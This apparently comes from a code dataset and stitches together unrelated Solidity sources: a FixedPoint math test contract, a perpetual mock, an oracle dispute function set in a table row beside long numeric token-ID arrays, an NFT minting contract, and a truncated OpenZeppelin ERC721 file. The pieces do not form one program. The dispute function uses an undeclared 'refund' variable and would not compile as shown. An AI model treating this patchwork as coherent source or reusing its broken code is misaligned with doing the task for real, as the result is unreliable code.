contract SignedFixedPointTest {
using FixedPoint for FixedPoint.Signed;
using FixedPoint for int256;
using SafeMath for int256;
function wrapFromSigned(int256 a) external pure returns (uint256) {
return FixedPoint.fromSigned(FixedPoint.Signed(a)).rawValue;
}
function wrapFromUnsigned(uint256 a) external pure returns (int256) {
return FixedPoint.fromUnsigned(FixedPoint.Unsigned(a)).rawValue;
}
function wrapFromUnscaledInt(int256 a) external pure returns (int256) {
return FixedPoint.fromUnscaledInt(a).rawValue;
}
function wrapIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(FixedPoint.Signed(b));
}
function wrapMixedIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(b);
}
function wrapIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(FixedPoint.Signed(b));
}
function wrapIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(FixedPoint.Signed(b));
}
function wrapIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Signed(b));
}
function wrapMixedIsLessThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMin(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).min(FixedPoint.Signed(b)).rawValue;
}
function wrapMax(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).max(FixedPoint.Signed(b)).rawValue;
}
function wrapAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(b).rawValue;
}
function wrapSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(int256 a, int256 b) external pure returns (int256) {
return a.sub(FixedPoint.Signed(b)).rawValue;
}
function wrapMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(FixedPoint.Signed(b)).rawValue;
}
function wrapMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(b).rawValue;
}
function wrapMixedMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(b).rawValue;
}
function wrapDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(FixedPoint.Signed(b)).rawValue;
}
function wrapDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(b).rawValue;
}
function wrapMixedDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(int256 a, int256 b) external pure returns (int256) {
return a.div(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(int256 a, uint256 b) external pure returns (int256) {
return FixedPoint.Signed(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Simple Perpetual Mock to serve trivial functions
*/
contract PerpetualMock {
struct FundingRate {
FixedPoint.Signed rate;
bytes32 identifier;
FixedPoint.Unsigned cumulativeMultiplier;
uint256 updateTime;
uint256 applicationTime;
uint256 proposalTime;
}
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
FundingRate public fundingRate;
// Interface functions required to be implemented in order for an instance of this contract to be passed into the
// off-chain FinancialContractClient helper module:
FixedPoint.Unsigned public collateralRequirement;
uint256 public liquidationLiveness;
FixedPoint.Unsigned public cumulativeFeeMultiplier;
mapping(address => uint256) public positions;
mapping(address => uint256) public liquidations;
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition();
event LiquidationCreated();
function getCurrentTime() public view returns (uint256) {
return now;
}
// Public methods that are useful for tests:
function setFundingRate(FundingRate memory _fundingRate) external {
fundingRate = _fundingRate;
}
function applyFundingRate() external {
fundingRate.applicationTime = block.timestamp;
// Simplified rate calcualtion.
// multiplier = multiplier * (1 + rate)
fundingRate.cumulativeMultiplier = fundingRate.cumulativeMultiplier.mul(
FixedPoint.fromSigned(FixedPoint.fromUnscaledInt(1).add(fundingRate.rate))
);
}
}
| * @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will receive any rewards that come from this dispute. However, any bonds are pulled from the caller. @param disputer address to set as the disputer. @param requester sender of the initial price request. @param identifier price identifier to identify the existing request. @param timestamp timestamp to identify the existing request. @param ancillaryData ancillary data of the price being requested. @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to the disputer once settled if the dispute was valid (the proposal was incorrect)./ Avoids stack too deep compilation error. Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it proportionally more expensive to delay the resolution even if the proposer and disputer are the same party. The total fee is the burned bond and the final fee added together. | function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public override nonReentrant() returns (uint256 totalBond) {
require(disputer != address(0), "disputer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Proposed,
"disputePriceFor: Proposed"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.disputer = disputer;
uint256 finalFee = request.finalFee;
uint256 bond = request.bond;
totalBond = bond.add(finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
StoreInterface store = _getStore();
{
uint256 burnedBond = _computeBurnedBond(request);
uint256 totalFee = finalFee.add(burnedBond);
if (totalFee > 0) {
request.currency.safeIncreaseAllowance(address(store), totalFee);
_getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee));
}
}
_getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester));
if (request.reward > 0 && request.refundOnDispute) {
refund = request.reward;
request.reward = 0;
request.currency.safeTransfer(requester, refund);
}
emit DisputePrice(
requester,
request.proposer,
disputer,
identifier,
timestamp,
ancillaryData,
request.proposedPrice
);
}
| 99,325 | [
1,
1669,
458,
281,
279,
6205,
590,
598,
392,
2695,
14708,
603,
4042,
1758,
11,
12433,
6186,
18,
3609,
30,
333,
1758,
903,
6798,
1281,
283,
6397,
716,
12404,
628,
333,
1015,
2507,
18,
10724,
16,
1281,
15692,
854,
30741,
628,
326,
4894,
18,
225,
1015,
458,
264,
1758,
358,
444,
487,
326,
1015,
458,
264,
18,
225,
19961,
5793,
434,
326,
2172,
6205,
590,
18,
225,
2756,
6205,
2756,
358,
9786,
326,
2062,
590,
18,
225,
2858,
2858,
358,
9786,
326,
2062,
590,
18,
225,
392,
71,
737,
814,
751,
392,
71,
737,
814,
501,
434,
326,
6205,
3832,
3764,
18,
327,
2078,
9807,
326,
3844,
716,
1807,
30741,
628,
326,
4894,
1807,
9230,
487,
279,
8427,
18,
1021,
8427,
903,
506,
2106,
358,
326,
1015,
458,
264,
3647,
26319,
1259,
309,
326,
1015,
2507,
1703,
923,
261,
5787,
14708,
1703,
11332,
2934,
19,
17843,
87,
2110,
4885,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
1015,
2507,
5147,
1290,
12,
203,
3639,
1758,
1015,
458,
264,
16,
203,
3639,
1758,
19961,
16,
203,
3639,
1731,
1578,
2756,
16,
203,
3639,
2254,
5034,
2858,
16,
203,
3639,
1731,
3778,
392,
71,
737,
814,
751,
203,
565,
262,
1071,
3849,
1661,
426,
8230,
970,
1435,
1135,
261,
11890,
5034,
2078,
9807,
13,
288,
203,
3639,
2583,
12,
2251,
458,
264,
480,
1758,
12,
20,
3631,
315,
2251,
458,
264,
1758,
1297,
506,
1661,
374,
8863,
203,
3639,
2583,
12,
203,
5411,
8997,
12,
26192,
16,
2756,
16,
2858,
16,
392,
71,
737,
814,
751,
13,
422,
3287,
18,
626,
7423,
16,
203,
5411,
315,
2251,
2507,
5147,
1290,
30,
1186,
7423,
6,
203,
3639,
11272,
203,
3639,
1567,
2502,
590,
273,
389,
588,
691,
12,
26192,
16,
2756,
16,
2858,
16,
392,
71,
737,
814,
751,
1769,
203,
3639,
590,
18,
2251,
458,
264,
273,
1015,
458,
264,
31,
203,
203,
3639,
2254,
5034,
727,
14667,
273,
590,
18,
6385,
14667,
31,
203,
3639,
2254,
5034,
8427,
273,
590,
18,
26425,
31,
203,
3639,
2078,
9807,
273,
8427,
18,
1289,
12,
6385,
14667,
1769,
203,
3639,
309,
261,
4963,
9807,
405,
374,
13,
288,
203,
5411,
590,
18,
7095,
18,
4626,
5912,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
2078,
9807,
1769,
203,
3639,
289,
203,
203,
3639,
4994,
1358,
1707,
273,
389,
588,
2257,
5621,
203,
203,
3639,
288,
203,
5411,
2254,
5034,
18305,
329,
9807,
273,
389,
9200,
38,
321,
329,
9807,
12,
2293,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/// _____ _ ___ _ _ _ _ ______ _
/// |_ _| | / _ \| | (_) | | | | | ___ \ | |
/// | | | |__ ___ / /_\ \ |__ ___ _ __ ___ _ _ __ __ _| |__ | | ___ | |_/ /_ _ _ __ ___| |__
/// | | | '_ \ / _ \ | _ | '_ \ / _ \| '_ ` _ \| | '_ \ / _` | '_ \| |/ _ \ | ___ \ | | | '_ \ / __| '_ \
/// | | | | | | __/ | | | | |_) | (_) | | | | | | | | | | (_| | |_) | | __/ | |_/ / |_| | | | | (__| | | |
/// \_/ |_| |_|\___| \_| |_/_.__/ \___/|_| |_| |_|_|_| |_|\__,_|_.__/|_|\___| \____/ \__,_|_| |_|\___|_| |_|
/// https://www.theabominablebunch.io/
/// Developers: Breezi, K3x
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "./common/EIP712Whitelisting.sol";
import "./common/OwnableDelegateProxy.sol";
//-----------------------------------------------------------------------------------------------------------------------
// Main Contract
//-----------------------------------------------------------------------------------------------------------------------
contract TheAbominableBunch is IERC721, ERC721, IERC2981, ERC721Enumerable, EIP712Whitelisting, ReentrancyGuard, ContextMixin, NativeMetaTransaction {
using Strings for uint256;
// Constants.
uint256 public constant MAX_SUPPLY = 4400; // The total amount that can be minted ever.
uint256 public constant WHITELIST_COST = 0.065 ether; // Whitelist cost.
uint256 public constant PUBLIC_COST = 0.09 ether; // Public cost.
// Configuration.
bool public isWhiteList = true; // Is this the whitelist phase?
bool public isPaused = true; // Controls if the minting is paused or not.
bool public revealed = false; // Define if the tokens are revealed or not and the address if they are.
uint256 public maxMintPerAddress = 6; // The max amount of mints any single address can mint.
string private baseURI; // stores the base urI of where to find NFT metadata.
string private notRevealedUri; // Define the address if the tokens are not revealed yet.
mapping(address => uint256) private mintBalances; // Store lifetime mints for an address.
// Proxy
address private immutable proxyRegistryAddress; // Opensea Proxy
// --------------------------
// Constructor
// --------------------------
/// @notice Contract constructor.
/// @param _name The token name.
/// @param _symbol The symbol the token will be known by.
/// @param _initNotRevealedUri The URI of the not revealed version of the NFT metadata.
constructor(string memory _name, string memory _symbol, string memory _initNotRevealedUri, address _proxyRegistryAddress)
ERC721(_name, _symbol)
EIP712Whitelisting(_name)
{
notRevealedUri = _initNotRevealedUri; // Set the not revealed URI for the placeholder metadata.
proxyRegistryAddress = _proxyRegistryAddress; // Set the openseac proxy address.
_initializeEIP712("The Abominable Bunch"); // Init base EIP712.
}
// --------------------------
// Purchase and Minting
// --------------------------
/// @notice Purchase a token as white lister.
/// @param _max The max amount the person minting is allow to mint.
/// @param _signature The signature proving that the user is on the whitelist and the values haven't been altered.
/// @param _mintAmount The amount the person minting has requested to mint.
function purchaseWhiteList(uint256 _max, bytes calldata _signature, uint256 _mintAmount)
external
payable
nonReentrant
isNotPaused
mintAmountGreaterThanZero(_mintAmount)
DoesntExceedLimit(_mintAmount)
{
require(isWhiteList, "Is in public mode");
require(!(_mintAmount + mintBalances[msg.sender] > _max), "You have exceeded your mint whitelist allocation");
require(checkWhitelist(_max, _signature), "Invalid whitelist signature");
_doMint(_mintAmount, WHITELIST_COST);
}
/// @notice Purchase a token as the public.
/// @param _mintAmount The amount the person minting has requested to mint.
function purchasePublic(uint256 _mintAmount)
external
payable
nonReentrant
isNotPaused
mintAmountGreaterThanZero(_mintAmount)
DoesntExceedLimit(_mintAmount)
{
require(!isWhiteList, "Not in public mode");
_doMint(_mintAmount, PUBLIC_COST);
}
/// @notice Returns the token url a token id.
/// @param _mintAmount The amount the person minting has requested to mint.
function ownerMint(uint256 _mintAmount)
external
onlyOwner
mintAmountGreaterThanZero(_mintAmount)
{
_doMint(_mintAmount, 0);
}
/// @notice Calls the underlying mint function of the ERC721Enumerable class.
/// @param _mintAmount The quantity to mint for the given user.
function _doMint(uint256 _mintAmount, uint256 _price)
internal
DoesntExceedTotalSupply(_mintAmount)
InsuffcientEth(_mintAmount, _price)
{
uint256 supply = totalSupply();
// Loop through and call the underlying _safeMint function of the ERC721Enumerable
for (uint256 i = 1; i <= _mintAmount; i++)
{
_safeMint(msg.sender, supply + i); // request underlying contract to mint.
}
// Update the count of how many items and given address has minted over the lifetime of the contract.
mintBalances[msg.sender] += _mintAmount;
}
// --------------------------
// Metadata Url
// --------------------------
/// @notice generates the return URL from the base URL.
function _baseURI()
internal
view
virtual
override
returns (string memory) {
return baseURI;
}
/// @notice Returns the token url a token id.
/// @param _tokenId The id of the token to return the url for.
/// @return the compiled Uri string to the nft metadata.
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
// Check for the existence of the token.
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
// Check if the token have been revealed. If not return url to a common image.
if (revealed == false) { return notRevealedUri; }
// Get the base url.
string memory currentBaseURI = _baseURI();
// Compile a url using the token details.
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), ".json")) : "";
}
// --------------------------
// Royalties
// --------------------------
/// @notice EIP2981 calculate how much royalties paid to the contract owner.
/// @param _tokenId The token id (not used all tokens attaract same level of royalties).
/// @param _salePrice The sale price.
/// @return receiver and a royaltyAmount.
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view override returns (address receiver, uint256 royaltyAmount)
{
return (owner(), (_salePrice * 500) / 10000);
}
// --------------------------
// Modifiers
// --------------------------
/// @notice Check they are minting at least one.
/// @param mintAmount the amount they are trying to mint.
modifier mintAmountGreaterThanZero(uint256 mintAmount) {
require(mintAmount > 0, "Must mint at least one");
_;
}
/// @notice Make sure the contract isn't paused.
modifier isNotPaused() {
require(!isPaused, "Minting is paused");
_;
}
/// @notice Make sure the contract isn't paused.
/// @param mintAmount the amount they are trying to mint.
modifier DoesntExceedLimit(uint256 mintAmount) {
require(!(mintAmount + mintBalances[msg.sender] > maxMintPerAddress), "Exceeds per address limit");
_;
}
/// @notice Make sure the amount being minted doesn't exceed total supply.
/// @param mintAmount the amount they are trying to mint.
modifier DoesntExceedTotalSupply(uint256 mintAmount) {
require(totalSupply() + mintAmount <= MAX_SUPPLY, "Max NFT limit exceeded");
_;
}
/// @notice Check they provided enough eth to mint.
/// @param mintAmount the amount they are trying to mint.
/// @param mintAmount price per token.
modifier InsuffcientEth(uint256 mintAmount, uint256 price) {
require(msg.value >= price * mintAmount, "Insuffcient Eth in transaction, check price");
_;
}
// --------------------------
// Misc
// --------------------------
/// @notice The following functions are overrides required by Solidity.
/// @param from to check for.
/// @param to to check for.
/// @param tokenId to check for.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
/// @notice Indicates if we support the IERC2981 interface.
/// @param _interfaceId the interface to check the contract supports.
/// @return true or fales if the requested interface is supported.
function supportsInterface(bytes4 _interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable, IERC165)
returns (bool)
{
return (_interfaceId == type(IERC2981).interfaceId || super.supportsInterface(_interfaceId));
}
/// @notice Returns a list of token ids belonging to an account.
/// @param _address The address to request a list of tokens for.
/// @return an array of token ids.
function walletOfOwner(address _address)
external
view
returns (uint256[] memory)
{
uint256 addressTokenCount = balanceOf(_address);
uint256[] memory tokenIds = new uint256[](addressTokenCount);
for (uint256 i; i < addressTokenCount; i++)
{
tokenIds[i] = tokenOfOwnerByIndex(_address, i);
}
return tokenIds;
}
/// @notice Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
function isApprovedForAll(address owner, address operator)
public
view
override(IERC721, ERC721)
returns (bool)
{
// whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) { return true; }
return super.isApprovedForAll(owner, operator);
}
// --------------------------
// Control
// --------------------------
/// @notice Set the amount of nfts per address is allowed.
/// @param _newMax The new maximum pr address.
function setMaxPerAddress(uint8 _newMax) external onlyOwner {
maxMintPerAddress = _newMax;
}
/// @notice Burn a token.
/// @param _tokenId The token id to burn.
function burn(uint256 _tokenId) external onlyOwner {
_burn(_tokenId);
}
/// @notice determines if the tokens should return proper images or place holders before reveal.
/// @param _state The state to set, true is revelaed false is hidden.
function setRevealed(bool _state) external onlyOwner {
revealed = _state;
}
/// @notice Set the base uri for the the NFT metadata.
/// @param _newBaseURI The new base uri for the metadata.
function setBaseURI(string memory _newBaseURI) external onlyOwner {
baseURI = _newBaseURI;
}
/// @notice set if the mint is paused or not.
/// @param _state The state to set, true is paused false is unpaused.
function setPaused(bool _state) external onlyOwner {
isPaused = _state;
}
/// @notice Set the whitelist mode.
/// @param _state The state to set, true is in whitelist mode false is in public mode.
function setIsWhiteList(bool _state) external onlyOwner {
isWhiteList = _state;
}
/// @notice allow withdrawls from the contract by the owner.
function withdraw() public payable onlyOwner {
// This will payout the owner 100% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
